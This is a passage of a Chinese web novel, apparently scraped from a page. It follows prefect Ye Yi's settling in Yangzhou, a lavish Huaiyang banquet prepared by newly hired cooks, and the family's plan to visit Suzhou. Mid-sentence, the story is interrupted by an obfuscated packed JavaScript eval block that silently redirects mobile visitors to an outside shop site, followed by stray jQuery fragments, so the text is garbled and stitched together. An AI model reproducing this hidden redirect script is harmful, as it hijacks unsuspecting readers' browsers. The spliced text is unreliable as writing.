抵达扬州第二日,天光大亮,暖风穿堂而过,院中竹影婆娑,叶祎一早便换上知州官服,身姿挺拔,玉带束腰,神色清正沉稳,乘车前往府衙点卯,接手扬州政务。

    初到任上,公务繁杂,交割印信、熟悉辖内民情、接见属官、梳理旧年卷宗,一应事宜有条不紊。他本就为官勤勉,又有蜀地理政经验,不过半日,便将州府要务梳理妥当,待衙内诸事安顿完毕,未作片刻逗留,即刻启程归家。

    马车驶入三元巷,停在宅门前,叶祎步入院中,便见初南絮正带着晚禾打理厅堂,阿公阿婆抱着知安,在池边亭中赏竹观景,满院静谧温馨。

    “衙内公务都已交割清楚,往后便可安心居家理政。”叶祎褪去官服,换上常服,眉眼间的凌厉褪去,只剩温和,“昔日在蜀地,院落小巧,人手简单,又有小意、小念帮衬,诸事省心。如今这庭院幽深、屋舍众多,打理起来颇费心力,必得招募些得力人手,方能周全。”

    初南絮闻言,放下手中针线,柔声应道:“我正想着此事,家中日常洒扫、膳食打理、孩童照料,都需得力人手,尤其是膳食,咱们一家人南北辗转,口味各异,寻些手艺精湛的厨娘最为紧要。”

    一家人商议妥当,叶祎便托城中牙婆,细细寻访合适人手。不过两日,便敲定了一众仆役丫鬟,皆是手脚勤快、本分妥帖之人。最是用心的,是寻来了四位厨娘:两位土生土长的扬州本地人,自幼研习淮扬菜,刀工精湛,深谙淮扬菜清鲜平和、浓淡相宜之精髓;另两位是姑苏籍厨娘,做得一手地道姑苏菜,软糯清甜、精致细腻,正好贴合一家人的故土口味。

    人手到位,宅院瞬间添了满满烟火气,丫鬟仆役各司其职,洒扫庭院、打理花木、收拾屋舍,原本雅致清幽的宅院,愈发整洁温馨。

    当日傍晚,四位厨娘联手置办了一桌安家宴,专为庆贺一家人定居扬州,满满一桌菜肴,尽显淮扬菜的精工细作与清鲜本味。

    最先上桌的是大煮干丝,扬州厨娘刀工堪称一绝,方方正正的豆腐干,被切得细如发丝、根根分明,搭配上切得同样精细的火腿丝、鸡丝、笋丝,层层码放整齐,淋上熬煮数时辰的鸡汤,文火慢煨,汤汁清亮醇厚,干丝绵软入味,入口鲜香,毫无豆腥,尽显淮扬菜“刀工精细、清鲜爽口”的真味。

    紧接着是软兜长鱼,选用扬州本地鲜活黄鳝,去骨切段,以热油快炒,搭配蒜片、香醋、胡椒粉爆炒收汁,鳝鱼肉嫩如豆腐,色泽油亮,口感滑嫩鲜香,酸香与蒜香交织,鲜而不腥,肥而不腻,是淮扬菜里的时令佳品。

    还有蟹粉狮子头,肥瘦相间的五花肉手工剁成肉泥,加入蟹粉、马蹄碎,团成圆润饱满的肉丸,隔水慢蒸,火候拿捏得恰到好处。狮子头入口即化,肉质酥软,蟹香浓郁,汤汁清澈鲜甜,不油不腻,老少皆宜,知安虽只能吃些肉泥,却也吃得津津有味。

    另有松鼠鳜鱼,鳜鱼改刀成型,炸至金黄酥脆,身形宛如松鼠,淋上酸甜适口的糖醋汁,色泽红亮,外酥里嫩,酸甜开胃;扬州糟方肉,五花肉蒸至酥烂,搭配糟方卤汁,香而不腻,软糯入味;再配上清炒时蔬、文思豆腐羹、扬州糟毛豆,最后端上一笼精巧的姑苏小笼包、桂花糖粥,一桌菜肴荤素搭配、浓淡相宜,摆盘精致,香气满堂。

    一家人围坐在园中小亭,伴着竹影清风,享用这桌地道家宴。阿公夹起一筷子大煮干丝,连连赞叹:“这淮扬菜果真精致,刀工了得,口味清鲜,比寻常菜肴多了几分雅致。”

    阿婆也笑着点头:“姑苏厨娘的点心也地道,一口下去,全是老家的味道,总算解了思乡之苦。”

    初南絮细心给知安挑着狮子头的肉泥,眉眼温柔:“有这四位厨娘,往后家中膳食,既能吃惯江南风味,也能时时尝到故土滋味,再不用将就。”

    叶祎看着家人和乐

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552523|203446||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,满心宽慰,一家人其乐融融,尽享江南烟火暖意,不过几日,便彻底安顿妥当,熟悉了扬州的居家日子。

    这日午后,暖阳正好,阿公阿婆抱着知安,在亭中闲话,终究按捺不住思乡之情。

    阿婆先开了口,语气满是期许:“如今在扬州也安顿好了,宅院舒心,人手周全,我和你阿公,想回姑苏老宅一趟。离家这么多年,老宅许久未曾打理,也该回去清扫祭祖,见见旧时亲友,了却一桩心愿。”

    初南絮在一旁缝补着孩童衣物,闻言眼底泛起柔光,满心思念:“爹娘这般说,我也着实想念姑苏故里,想念老宅的一草一木,想念家乡的风物人情。如今扬州家中诸事已定,也该回去看看。”

    一家人当即商议妥当,叶祎刚到扬州任知州,政务缠身,无法抽身离开,便敲定由初南絮、晚禾,陪着叶父叶母,带着小知安一同返回姑苏,在姑苏小住两个月,待秋日天凉,再返回扬州团聚。

    晚禾听罢,满心欢喜,她虽不舍蜀地故土,可如今随一家人定居江南,能跟着回姑苏,看看姐姐的故里,见识江南水乡的景致,又能陪伴左右,当即笑着应道:“我陪着姐姐、阿公阿婆一同回去,路上也好照料知安,打理琐事,定不让你们劳心。”

    叶祎虽不舍妻儿老小远行,却也知晓家人思乡心切,又有晚禾悉心照料,路途定然安稳,当即点头应允:“如此甚好,你们回去安心小住,替我打理老宅、祭拜先祖,不必着急返程。扬州家中有我,政务也能料理妥当,你们只管在姑苏尽享故土温情,待到秋凉,我便派人去接你们回来。”

    诸事敲定,一家人便开始收拾返程行囊,备好给姑苏亲友的伴手礼,挑选知安的衣物吃食,满心期盼着踏上归乡之路。

    院中竹影依旧,清风徐徐,扬州的安家日子已然安稳,而姑苏的故土乡情,正等着他们奔赴,一段归乡小住的温情时光,即将启程。